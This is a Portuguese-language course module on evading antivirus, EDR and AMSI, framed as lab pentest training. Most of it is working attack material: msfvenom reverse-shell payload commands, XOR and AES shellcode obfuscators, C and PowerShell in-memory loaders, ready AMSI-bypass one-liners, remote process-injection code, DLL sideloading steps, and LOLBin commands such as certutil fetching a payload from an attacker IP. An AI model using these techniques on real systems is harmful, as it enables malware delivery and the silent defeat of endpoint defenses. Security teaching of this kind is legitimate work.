MÓDULO 18 — BYPASS DE DEFESAS (AV/EDR/AMSI) + GUIA PRÁTICO DE OFUSCAÇÃO DE PAYLOADS

MÓDULO 18 — BYPASS DE DEFESAS (AV/EDR/AMSI) + GUIA PRÁTICO DE OFUSCAÇÃO DE PAYLOADS Objetivo: entender como antivírus (AV), EDR e AMSI detectam payloads, e dominar as técnicas para evadir essas defesas — da ofuscação automática (msfvenom + encoders) à ofuscação manual de shellcode, packing, injeção de processos, DLL sideloading e Living Off the Land Binaries (LOLBins). Tudo em ambiente de laboratório autorizado.

MÓDULO 18 — Bypass de Defesas: Tópico 1 — O ecossistema de defesas — o que você enfrenta

A regra de ouro da evasão: AV pega assinatura, EDR pega comportamento. Ofuscação de assinatura é o mínimo; evasão comportamental é o que separa ferramentas de operadores.

Ordem de trabalho (do mais fácil ao mais difícil):

• Ofuscar assinatura → msfvenom encoders, packers, custom shellcode
• Evitar AMSI → bypass AMSI antes de qualquer PowerShell
• Evitar detecção de arquivo → carregar em memória (stage), não em disco
• Evitar EDR → injeção em processo legítimo, callbacks, syscalls diretos
• Living off the Land → usar binários nativos do Windows para não "entregar" nada

---

MÓDULO 18 — Bypass de Defesas: Tópico 2 — Msfvenom — os encoders automáticos (o ponto de partida)

O jeito mais rápido de testar ofuscação:

# 1. Payload CRU (sem encoder) → provavelmente detectado
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o payload_cru.exe

# 2. Com encoder (shikata_ga_nai — o padrão, multi-iterações)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 \
    -e x64/zutto_dekiru -i 10 -f exe -o payload_encoder.exe
# ou para x86: -e x86/shikata_ga_nai -i 10

# 3. Com encoder + badchars (evitando bytes conhecidos do AV)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 \
    -b "\x00\x0a\x0d" -e x64/zutto_dekiru -i 5 -f exe -o payload_encoded.exe

# 4. Formato diferente (powershell, base64, hex) — para entregar em linha de comando
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f ps1 -o payload.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f base64

Realidade honesta sobre encoders: shikata_ga_nai e zutto_dekiru são conhecidos por todos os AVs. Eles mudam a assinatura, mas não passam em AV (Windows Defender) moderno. O encoder serve para:

• Testar se o AV é básico (legado, sem heurística)
• Aprender o conceito de ofuscação (os bytes mudam a cada iteração — polimorfismo)
• Ser o primeiro degrau antes de técnicas manuais

Teste de detecção (faça sempre): suba o payload num webserver e escaneie com o Windows Defender da VM de laboratório (nunca no host real). Ou use sites como VirusTotal (⚠️ nunca envie payloads reais de cliente para o VT — eles compartilham as assinaturas com os AVs).

---

MÓDULO 18 — Bypass de Defesas: Tópico 3 — Ofuscação manual de shellcode — o núcleo do módulo

A ofuscação que funciona de verdade é feita à mão. O shellcode original (gerado pelo msfvenom) tem uma assinatura; você vai transformá-lo até que não se pareça com nada.

18.3.1 O shellcode original

# Gere o shellcode em formato C (array de bytes)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 \
    -f raw -o shellcode.bin
# ou formato C:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 \
    -f c

Saída (exemplo):

unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...;

18.3.2 Técnica 1 — XOR com chave (a base de tudo)

#!/usr/bin/env python3
# xor_encoder.py — ofusca shellcode com XOR de chave única
import sys

shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52..."
key = 0xAA  # chave fixa (você pode trocar por uma string/chave variável)

encoded = bytearray()
for byte in shellcode:
    encoded.append(byte ^ key)

# Saída formatada para C
print("// Ofuscado com XOR key = 0x%02x" % key)
print("unsigned char encoded[] = {")
for i, b in enumerate(encoded):
    if i % 16 == 0:
        print("    ", end="")
    print("0x%02x" % b, end="")
    if i < len(encoded) - 1:
        print(",", end="")
    if i % 16 == 15:
        print()
print("\n};")
print()
print("// Tamanho: %d bytes" % len(encoded))

No código que executa (C/Python/loader), você aplica o XOR reverso antes de executar:

// Decode e execução (loader mínimo)
unsigned char encoded[] = { /* bytes do xor_encoder.py */ };
unsigned char key = 0xAA;
unsigned char decoded[sizeof(encoded)];

for (int i = 0; i < sizeof(encoded); i++) {
    decoded[i] = encoded[i] ^ key;
}

// Agora decoded contém o shellcode original — execute
void (*func)() = (void(*)())decoded;
func();

18.3.3 Técnica 2 — XOR com chave variável (mais forte)

A cada byte, a chave muda (ex.: chave anterior + offset):

#!/usr/bin/env python3
# xor_variante.py — XOR com chave progressiva (mais resistente a assinatura)
shellcode = b"\xfc\x48\x83..."  # seu shellcode
key_base = 0x55

encoded = bytearray()
key = key_base
for byte in shellcode:
    encoded.append(byte ^ key)
    key = (key + 1) & 0xFF  # ou: key = (key ^ byte) & 0xFF  (realimentado)

# O loader precisa replicar a progressão da chave

18.3.4 Técnica 3 — ADD/SUB (deslocamento aritmético)

Em vez de XOR, some um valor fixo a cada byte (e subtraia na execução):

encoded = bytearray((b + 0x77) & 0xFF for b in shellcode)
# No loader: byte - 0x77 (mod 256)

18.3.5 Técnica 4 — Inserção de lixo (junk bytes)

Misture bytes aleatórios que você remove na execução:

import random
encoded = bytearray()
for b in shellcode:
    encoded.append(b)           # byte real
    encoded.append(random.randint(1, 255))  # lixo
    encoded.append(random.randint(1, 255))  # lixo
# No loader: a cada 3 bytes, só o primeiro importa

18.3.6 Técnica 5 — Embaralhamento + lookup table

Embaralhe os bytes e inclua uma tabela de índices:

indices = list(range(len(shellcode)))
random.shuffle(indices)
encoded = bytearray(shellcode[i] for i in indices)
# Salve 'indices' como tabela — no runtime, reordene

18.3.7 Técnica 6 — Criptografia real (AES)

Para o estado da arte (o que EDRs tem mais dificuldade):

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

key = b"0123456789ABCDEF"  # 16 bytes
iv = b"FEDCBA9876543210"   # 16 bytes
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(shellcode, AES.block_size))

# No loader: AES decrypt antes de executar

---

MÓDULO 18 — Bypass de Defesas: Tópico 4 — Loaders — como entregar e executar o shellcode ofuscado

O shellcode ofuscado não se executa sozinho — você precisa de um loader que o decodifique e o execute em memória.

💡 Loader mínimo em C (Windows)

// loader.c — compile com: x86_64-w64-mingw32-gcc loader.c -o loader.exe
#include <windows.h>
#include <stdio.h>

// Shellcode ofuscado (XOR com 0xAA)
unsigned char encoded[] = { 0x56, 0xe2, 0x29, ... }; // seus bytes ofuscados

int main() {
    unsigned char key = 0xAA;
    unsigned char *decoded;
    SIZE_T size = sizeof(encoded);
    
    // Alocar memória executável
    decoded = (unsigned char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (decoded == NULL) return 1;
    
    // Decodificar (XOR reverso)
    for (int i = 0; i < size; i++) {
        decoded[i] = encoded[i] ^ key;
    }
    
    // Executar
    void (*func)() = (void(*)())decoded;
    func();
    
    VirtualFree(decoded, 0, MEM_RELEASE);
    return 0;
}

# Compilar no Kali (cross-compile para Windows):
sudo apt install mingw-w64
x86_64-w64-mingw32-gcc loader.c -o loader.exe -s -O2
# -s: strip símbolos (menor tamanho)
# -O2: otimização

# O loader.exe agora carrega e executa o shellcode em memória (sem tocar em disco)

💡 Loader em PowerShell (execução em memória pura)

# loader.ps1 — ofuscação XOR + execução via Win32 API
$key = 0xAA
$encoded = @(0x56, 0xe2, 0x29, ...)  # bytes ofuscados

# Decodificar
$decoded = @()
foreach ($b in $encoded) {
    $decoded += $b -bxor $key
}

# Alocar memória e executar (via P/Invoke)
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decoded.Length)
[System.Runtime.InteropServices.Marshal]::Copy($decoded, 0, $ptr, $decoded.Length)
$func = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ptr, [Type])
$func.Invoke()

⚠️ Problema: o loader.ps1 em si pode ser detectado. É por isso que você precisa do AMSI bypass antes de qualquer PowerShell.

---

MÓDULO 18 — Bypass de Defesas: Tópico 5 — AMSI Bypass — o pré-requisito do PowerShell

O AMSI (Antimalware Scan Interface) inspeciona scripts PowerShell em runtime antes de executar. Sem bypass, qualquer Invoke-Expression ou byte array suspeito é bloqueado.

Técnica 1 — Patch do AMSI (a mais comum)

# AMSI bypass via patch do AmsiScanBuffer (funciona na maioria dos Windows até 2024+)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Como testar: depois de rodar, tente AMSI_TEST (que normalmente dispara alerta). Se não disparar, o AMSI está off.

Técnica 2 — Ofuscação do bypass (para evitar AMSI de AMSI bypass!)

O próprio bypass de AMSI acima é assinado por AV moderno. Ofusque-o:

# Bypass ofuscado (exemplo — gere suas próprias variantes)
$w = "System.Management.Automation.AmsiUtils"
$t = [Ref].Assembly.GetType($w)
$f = $t.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)

Técnica 3 — In-memory patch do AmsiScanBuffer (o mais forte — via API)

// Em C loader, antes de qualquer PowerShell: patch no Amsi.dll para retornar S_OK sempre
// Código (exemplo conceitual):
// 1. VirtualProtect na função AmsiScanBuffer para RWX
// 2. Sobrescrever com "ret 0x08" (0xC3 0x08 0x00 0x00)
// 3. Toda chamada ao AMSI retorna imediatamente

// Ferramenta que faz isso: "Amsi-Bypass" (várias implementações no GitHub — estude, não copie cegamente)

Técnica 4 — Desabilitar AMSI via registry (se tiver admin)

# Só funciona se você já é admin e não tem AppLocker bloqueando regedit
reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers" /v "{2781761E-28E0-4109-99FE-B9D127C57AFE}" /f

Regra prática: sempre execute um AMSI bypass antes de qualquer comando PowerShell ofensivo. Existem dezenas de variantes; rotacione entre elas.

---

MÓDULO 18 — Bypass de Defesas: Tópico 6 — Packers e protectores (UPX, ConfuserEx)

Packers comprimem/criptografam o executável e o desempacotam em memória. AVs mais antigos não abriam packers — AVs modernos desempacotam e escaneiam.

# UPX (o mais famoso — mas TODOS os AVs conhecem)
upx -9 payload.exe -o payload_upx.exe

# Alternativas (menos detectadas, mas nem sempre):
# - mpress (https://github.com/Dead2/mpress) (não é mais mantido? verifique)
# - ConfuserEx (para .NET)
# - Packer custom (o ideal — escreva seu próprio compactador)

Realidade: UPX não protege mais de nada hoje. Use como camada adicional, não como única proteção.

---

MÓDULO 18 — Bypass de Defesas: Tópico 7 — Process Injection — o shellcode rodando dentro de um processo legítimo

Em vez de criar um processo novo (suspeito), injete o shellcode num processo legítimo (explorer.exe, svchost.exe, notepad.exe).

Técnica clássica — VirtualAllocEx + WriteProcessMemory + CreateRemoteThread

// inject_exemplo.c (conceitual — compile com mingw)
#include <windows.h>
#include <tlhelp32.h>

// Shellcode decodificado
unsigned char shellcode[] = { ... };

int main() {
    HANDLE hProcess;
    HANDLE hThread;
    void *remoteBuffer;
    DWORD targetPID = 1234; // PID do explorer.exe
    
    // Abrir processo alvo
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    
    // Alocar memória no processo alvo
    remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
                                   MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    // Escrever shellcode no processo alvo
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);
    
    // Executar (thread remota)
    hThread = CreateRemoteThread(hProcess, NULL, 0,
                                  (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

Problema: CreateRemoteThread é altamente monitorado por EDRs — a API call é um dos maiores indicadores de ataque.

Técnica alternativa — QueueUserAPC (sem criar thread)

// Injeção via APC — agenda o shellcode para executar quando a thread do alvo
// mudar para estado alertável (mais furtivo, mas menos confiável)

Técnica mais furtiva — SetThreadContext + Hijack de thread

// Suspend uma thread legítima, modifica o contexto (EIP) para apontar
// para o shellcode, e resume — sem CreateRemoteThread

Técnica moderna — Callback Injection

// Usa callbacks legítimos do Windows (EnumWindows, CreateTimerQueue...) 
// para executar shellcode — não usa CreateRemoteThread, não usa WriteProcessMemory
// ex: EnumDesktops, EnumWindowStations, etc.

---

MÓDULO 18 — Bypass de Defesas: Tópico 8 — DLL Sideloading — o cavalo de Troia que o Windows aceita

DLL Sideloading: um aplicativo legítimo carrega uma DLL de um diretório onde você pode escrever. Você coloca uma DLL maliciosa com o nome que o app espera — e seu código roda no contexto do processo legítimo.

Fluxo:
1. Ache um binário legítimo que carrega uma DLL sem caminho absoluto
   (ex.: C:\Program Files\App\app.exe carrega "config.dll")
2. Coloque sua DLL maliciosa em C:\Program Files\App\config.dll
3. Execute app.exe → sua DLL é carregada → C2 ou shellcode roda

# Ferramentas para achar DLLs sideloadáveis:
# - Process Monitor (procmon.exe da Sysinternals) — filtra por "NAME NOT FOUND"
#   (DLLs que o app procurou e não achou)
# - Siofra (no Kali)

Por que é evasivo: o executável é legítimo e assinado pela Microsoft/fornecedor. O EDR vê app.exe rodando e carregando config.dll — se config.dll não é assinada, pode disparar alerta, mas a execução indireta é muito menos suspeita que um .exe estranho.

---

MÓDULO 18 — Bypass de Defesas: Tópico 9 — LOLBins — Living Off the Land Binaries

LOLBins = binários legítimos da Microsoft que podem ser usados para executar código, baixar payloads ou fazer movimento lateral — sem "entregar" malware.

Exemplo prático (cadeia completa LOLBin + AMSI bypass + ofuscação):

# Etapa 1 — Bypass AMSI ofuscado
$w="Sy"+"stem.Man"+"agement.Automation.A"+"msiUtils"
[Ref].Assembly.GetType($w).GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Etapa 2 — Baixar e carregar loader ofuscado (evita tocar em disco)
$k=0xAA
$e=@(0x56,0xe2,0x29,0x4e,...)  # shellcode ofuscado
$d=@(); foreach($b in $e){$d+=$b -bxor $k}
[System.Runtime.InteropServices.Marshal]::Copy($d,0,(
    [System.Runtime.InteropServices.Marshal]::AllocHGlobal($d.Length)),$d.Length)
# (continua — call à função alocada)

Por que LOLBins funcionam: o binário é legítimo, assinado pela Microsoft, e a ação (baixar arquivo, executar script) parece administração normal de sistema. EDRs avançados monitoram LOLBins — por isso cada LOLBin pode ser monitorado e você precisa variar.

---

MÓDULO 18 — Bypass de Defesas: Tópico 10 — Evasão de EDR — o estado da arte (conceitos)

EDRs modernos (CrowdStrike, SentinelOne, Defender for Endpoint) monitoram:

• Chamadas de API (CreateRemoteThread, WriteProcessMemory, VirtualAlloc)
• Callbacks de kernel (ETW — Event Tracing for Windows)
• Pilha de chamadas (quem chamou quem — detectam injeção)
• Comportamento de processo (um processo legítimo de repente faz conexão de rede?)

Técnicas para evasão de EDR:

Ferramentas que implementam estas técnicas (para estudo):

• Cobalt Strike — Reflection Loader, Process Injection, Callbacks (comercial)
• Sliver — (já visto Módulo 12) — tem evasão embutida (sacrificio de perfil)
• Havoc — C2 com evasão (kernel callbacks, syscalls)
• NimPlant — C2 em Nim (ofuscação nativa)
• ScareCrow — gera loader que evita EDR por design
• Donut — converte .NET em shellcode (execução em memória)
• PIC (Position Independent Code) — shellcode autocontido

---

MÓDULO 18 — Bypass de Defesas: Tópico 11 — Teste de evasão — como saber se passou

# 1. Windows Defender (local):
#    Na VM de lab, veja se o arquivo é deletado/quarentenado ao escrever em disco
#    Teste com: echo "AMSI_TEST" no PowerShell (se não disparar, AMSI bypass OK)

# 2. VirusTotal (⚠️ APENAS para payloads de LABORATÓRIO — nunca envie payloads de cliente):
#    Suba apenas payloads genéricos de estudo (msfvenom sem modificação)
#    Para payloads reais: use serviços privados (Intezer, ReversingLabs) ou VM local

# 3. Defender for Endpoint (se tiver acesso de lab):
#    Simule execução e veja o alerta no portal

# 4. Metasploit resource para testar evasão:
#    use exploit/multi/handler
#    set PAYLOAD windows/x64/meterpreter/reverse_tcp
#    set LHOST IP
#    set LPORT 4444
#    run -j

---

MÓDULO 18 — Bypass de Defesas: Tópico 12 — O fluxo completo de evasão (resumo prático)

• Gere o shellcode CRU (msfvenom -p -f raw)
• OFUSQUE o shellcode (XOR, AES, lookup table — manual)
• Monte o LOADER (C/PowerShell/.NET) que decodifica + executa em memória
• BYPASS AMSI antes de qualquer PowerShell
• ESCOLHA O MÉTODO DE EXECUÇÃO:
• - Direct EXE (teste inicial) → provavelmente pego
• - Process Injection em processo legítimo → mais furtivo
• - DLL Sideloading → ainda mais furtivo
• - LOLBin → o mais furtivo (mas mais lento)
• TESTE no lab (VM com Defender) — iterar até não ser detectado
• ENTREGUE via C2 (Módulo 12) para controle remoto

---

MÓDULO 18 — Bypass de Defesas: Tópico 13 — Atividade prática do Módulo 18

Tudo em VM de laboratório (Windows com Windows Defender ativo). Nunca no host real ou em sistemas de terceiros.

• Msfvenom básico: gere um payload CRU e escaneie com o Defender (salve no disco → veja se é deletado); depois gere com encoder e compare
• Ofuscação manual XOR: escreva o xor_encoder.py, aplique num shellcode, carregue com o loader.c, teste na VM — o Defender detecta? Se sim, troque a técnica
• Ofuscação XOR progressiva: implemente o XOR progressivo e repita o teste
• Loader em C: compile o loader.c, execute na VM — veja se a sessão chega (se não, itere a ofuscação)
• AMSI bypass: na VM, abra PowerShell como admin, execute o bypass (Técnica 1), depois rode amsiTest — confirme que não bloqueia
• AMSI bypass ofuscado: faça o bypass da Técnica 2 (variar nomes de variáveis, dividir strings) e teste
• LOLBin — rundll32: execute rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";new ActiveXObject("WScript.Shell").Run("calc"); — veja a calculadora. Depois troque calc pelo seu payload
• LOLBin — regsvr32: monte um .sct (scriptlet) que baixa e executa seu loader, entregue via regsvr32
• LOLBin — certutil: baixe um arquivo da sua máquina Kali para a VM usando certutil -urlcache -split -f http://IP/payload.exe
• Process Injection: escreva o inject_exemplo.c, compile, injete shellcode no notepad.exe — veja no Process Explorer se o notepad virou um "host" do seu payload
• Desafio — a cadeia de evasão completa: crie evasion_report.md em ~/pentest/evidencias/evasion/ com:
• - o shellcode original (msfvenom raw) e o ofuscado (XOR/AES) lado a lado
• - o loader (C ou PowerShell) comentado linha a linha
• - o AMSI bypass usado (comprovação: "AMSI_TEST no PowerShell não bloqueou")
• - 3 LOLBins testados e o que cada um fez
• - o método de injeção/invocação final (ex.: Loader.exe → process injection → explorer.exe)
• - resultado da detecção no Defender (capturas de tela do antes/depois)
• - análise: por que funcionou/não funcionou, o que você mudaria

Resposta esperada: um pipeline de evasão completo: shellcode ofuscado → loader → bypass AMSI → execução em memória → sessão recebida — com o AV silencioso.

---

---

Perguntas Frequentes (FAQ)

1. Por que o msfvenom shikata_ga_nai é detectado por quase todos os antivírus modernos? Porque o shikata_ga_nai é um encoder polimórfico amplamente conhecido com um rotador/decoder stub fixo e previsível. Embora os bytes do payload mudem, a assinatura do stub de decodificação é identificada imediatamente pelas assinaturas de heurística estática dos AVs modernos.

2. Qual a diferença essencial entre evadir um Antivírus (AV) e evadir um EDR? O Antivírus foca prioritariamente em detecção estática e heurística simples baseada em assinaturas de arquivo e hash em disco. O EDR (Endpoint Detection & Response) monitora o comportamento dinâmico em runtime (chamadas de API, injeção de memória, hooking em ntdll.dll, manipulação de threads e conexões de rede suspeitas).

3. Como o AMSI (Antimalware Scan Interface) atua no Windows? O AMSI é uma interface de abstração do Windows que permite que aplicações (como PowerShell, VBScript, JavaScript e o runtime do .NET) enviem buffers de script não criptografados e carregados em memória para inspeção direta pelo antivírus (como o Windows Defender) antes de sua execução.

4. O que são LOLBins e por que eles são tão eficazes na evasão de defesas? LOLBins (Living Off the Land Binaries) são executáveis legítimos e assinados digitalmente pela Microsoft (ex: certutil.exe, rundll32.exe, mshta.exe). Eles são eficazes porque já estão presentes no sistema e sua execução não dispara alertas de bloqueio de binaries desconhecidos pelo AppLocker ou WDAC.

5. O que é Unhooking de DLLs e por que ele é utilizado contra EDRs? EDRs injetam DLLs de monitoramento nos processos do usuário e modificam (colocam "hooks" ou instruções JMP) o cabeçalho de APIs nativas na ntdll.dll para interceptar chamadas do sistema. O unhooking consiste em recarregar uma cópia limpa do disco da ntdll.dll na memória do processo para sobrescrever e remover os hooks do EDR.